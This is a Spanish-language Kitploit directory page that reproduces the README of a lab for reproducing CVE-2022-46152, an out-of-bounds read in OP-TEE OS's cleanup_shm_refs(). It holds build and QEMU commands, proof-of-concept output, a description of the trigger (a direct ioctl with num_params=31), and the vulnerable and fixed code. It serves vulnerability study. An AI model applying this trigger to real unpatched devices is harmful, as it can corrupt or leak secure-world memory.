Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-46152 — CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function. | Kitploit
Herramientas/GitHubGitHub/0xbbdd/cve-2022-46152
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingCTFLearning & EducationBinary ExploitationLabs & Practice
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() Lectura Fuera de Límites — Entorno de Reproducción

Referencia: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Aviso de Seguridad: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


Resumen de la Vulnerabilidad

CampoDetalles
Vulnerabilidadcleanup_shm_refs() no valida num_params (teóricamente hasta 127; limitado a 31 en la práctica por el ioctl del TEE de Linux TEE_MAX_ARG_SIZE=1024), mientras que saved_attr[] solo tiene 4 elementos
Versiones AfectadasOP-TEE OS < 3.19.0
Condición de DisparoEl Mundo Normal envía una solicitud INVOKE con num_params=31 mediante ioctl directo (evitando el límite de 4 parámetros de libteec)
ImpactoLectura fuera de límites de datos de la pila del mundo seguro; si un valor residual de la pila coincide con un tipo TMEM, se desencadena un Use-After-Free
Correccióncleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b)

Estructura de Directorios

root@kitploit:~
CVE-2022-46152/
├── README.md                           # Este archivo (Inglés)
├── README.zh.md                        # Versión en chino
├── setup.sh                            # Configuración del entorno con un solo comando
├── run_qemu.sh                         # Lanzar QEMU
├── exploit.sh                          # Script de reproducción automatizada/manual
├── cve-2022-46152-oob-emsg.patch       # Parche de depuración de OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Parche de QEMU (suprimir logs ruidosos de pflash_write)
├── poc/
│   ├── cve_2022_46152.c               # Código fuente del PoC (ioctl directo evadiendo libteec)
│   └── Makefile                       # Makefile de compilación cruzada
├── docs/
│   └── vulnerability_analysis.md      # Análisis técnico detallado de la vulnerabilidad
└── optee/                             # Entorno OP-TEE (creado por setup.sh)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (versión vulnerable)
    ├── build/                         # Sistema de compilación (qemu_v8.mk)
    ├── linux/                         # Kernel Linux
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (fuente)
    └── out/bin/                       # Artefactos de compilación
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Imagen del kernel Linux
        └── rootfs.cpio.gz             # rootfs que contiene el PoC

Inicio Rápido

1. Requisitos Previos

root@kitploit:~
# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verificar
aarch64-linux-gnu-gcc --version
repo --version

2. Inicializar repo (siguiendo la documentación oficial)

root@kitploit:~
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

Nota: Usar la etiqueta 3.18.0. Esta versión contiene la vulnerabilidad CVE-2022-46152 y aún no tiene aplicada la corrección.

3. Configuración y compilación con un solo comando (30–60 minutos)

root@kitploit:~
./setup.sh

Este script:

  • Ejecuta repo sync para obtener todo el código fuente
  • Configura el toolchain (omite la descarga si optee/toolchains/ ya existe, de lo contrario la descarga automáticamente)
  • Ejecuta make all para compilar TF-A, OP-TEE OS 3.18.0, Linux y Buildroot
  • Compila el PoC de forma cruzada y lo inyecta en el rootfs

4. Iniciar el entorno QEMU

root@kitploit:~
# Abrir tres terminales:

# Terminal 1 — Iniciar QEMU:
./run_qemu.sh --no-gdb

# Terminal 2 — Consola del Mundo Normal (ejecutar después de que run_qemu.sh haya iniciado):
python3 optee/build/soc_term.py 54320

# Terminal 3 — Mundo Seguro (logs de OP-TEE, ejecutar después de que run_qemu.sh haya iniciado):
python3 optee/build/soc_term.py 54321

Nota: run_qemu.sh inicia internamente soc_term.py en modo servidor escuchando en 54320/54321, con QEMU conectándose como cliente. Los comandos anteriores son ejemplos para conectarse a una instancia en ejecución y generalmente no necesitan ejecutarse manualmente.

5. Reproducir la vulnerabilidad

root@kitploit:~
# En la terminal del Mundo Normal (54320), después de que aparezca el prompt de inicio de sesión:
(none) login: root

# Ejecutar el PoC
/root/cve_2022_46152

Salida Esperada

Mundo Normal (consola Linux)

root@kitploit:~
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

Nota: TEE_MAX_ARG_SIZE=1024 limita un solo ioctl a un máximo de 31 parámetros (libteec tiene un límite de 4). Aun así, num_params=31 es suficiente para desencadenar la lectura fuera de límites (leyendo saved_attr[4..30], 27 elementos fuera de límites).

Mundo Seguro (log de OP-TEE TEE Core)

root@kitploit:~
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

La línea de advertencia E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! es un log explícito agregado a entry_std.c mediante el parche cve-2022-46152-oob-emsg.patch para confirmar la ruta de disparo de la vulnerabilidad. cleanup_shm_refs lee 27 elementos adicionales fuera de límites desde la pila; si algún valor residual de la pila coincide con un tipo TMEM, se puede desencadenar un mobj_put() Use-After-Free.


Código Vulnerable vs. Corregido

Versión vulnerable (3.18.0)

root@kitploit:~
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* ¡solo 4 ranuras! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ ERROR: num_params puede ser 127, lectura OOB de saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

Versión corregida (3.19.0, commit 728616b)

root@kitploit:~
    if (res != TEE_SUCCESS) {
        /* ✅ CORRECCIÓN: MIN(4, 127) = 4, ya no está fuera de límites */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

Referencia Rápida de Comandos

root@kitploit:~
# Configurar el entorno
./setup.sh

# Iniciar QEMU (con puerto de depuración GDB)
./run_qemu.sh

# Iniciar QEMU (sin esperar a GDB)
./run_qemu.sh --no-gdb

# Mostrar pasos de reproducción manual
./exploit.sh --manual

# Reproducción automatizada (sin terminales adicionales, salida en el shell actual)
./exploit.sh

# Conectar a la consola del Mundo Normal (después de que run_qemu.sh haya iniciado)
python3 optee/build/soc_term.py 54320

# Conectar al log del Mundo Seguro (después de que run_qemu.sh haya iniciado)
python3 optee/build/soc_term.py 54321

# Depurar OP-TEE OS con GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

Notas del Parche de QEMU

Este repositorio aplica el parche qemu-pflash-suppress-unimp-log.patch sobre QEMU v7.0.0 para eliminar la siguiente salida ruidosa al ejecutar la máquina virtual:

root@kitploit:~
pflash_write: Write to buffer emulation is flawed

Causa Raíz

pflash_write() en hw/block/pflash_cfi01.c llama a qemu_log_mask(LOG_UNIMP, ...) al manejar el comando 0xe8 (Write to buffer) del CFI pflash, registrando una advertencia de "no implementado". El firmware TF-A escribe en pflash durante el arranque, activando esta ruta e imprimiendo el mensaje en cada inicio.

Contenido del Parche (hw/block/pflash_cfi01.c)

Elimina la llamada a qemu_log_mask(LOG_UNIMP, ...) dentro del caso case 0xe8 mientras deja intacta la lógica funcional.

Aplicar el Parche (opcional; ya integrado en optee/qemu/)

root@kitploit:~
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

Notas del Parche de OP-TEE OS

Este repositorio aplica un parche de depuración cve-2022-46152-oob-emsg.patch sobre OP-TEE OS 3.18.0 para que se imprima una advertencia explícita en la UART del Mundo Seguro cuando se dispara la vulnerabilidad, facilitando la verificación de la reproducción.

Contenido del Parche (core/tee/entry_std.c)

  • Añade #include <trace.h>
  • En entry_invoke_command(), detecta num_params > TEE_NUM_PARAMS antes de la llamada a cleanup_shm_refs() e imprime CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 mediante EMSG()

⚠️ Este parche es solo para depuración/demostración y no es una corrección de seguridad. La corrección real está en el commit 728616b.

Aplicar el Parche (opcional; ya integrado en optee/optee_os/)

root@kitploit:~
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os

Referencias

  • Documentación Oficial de OP-TEE QEMU v8
  • Aviso de Seguridad GHSA-65w8-6mrg-52g7
  • Commit de Corrección 728616b
  • CVE-2022-46152 NVD
  • Repositorio de manifiesto OP-TEE
Descargar herramienta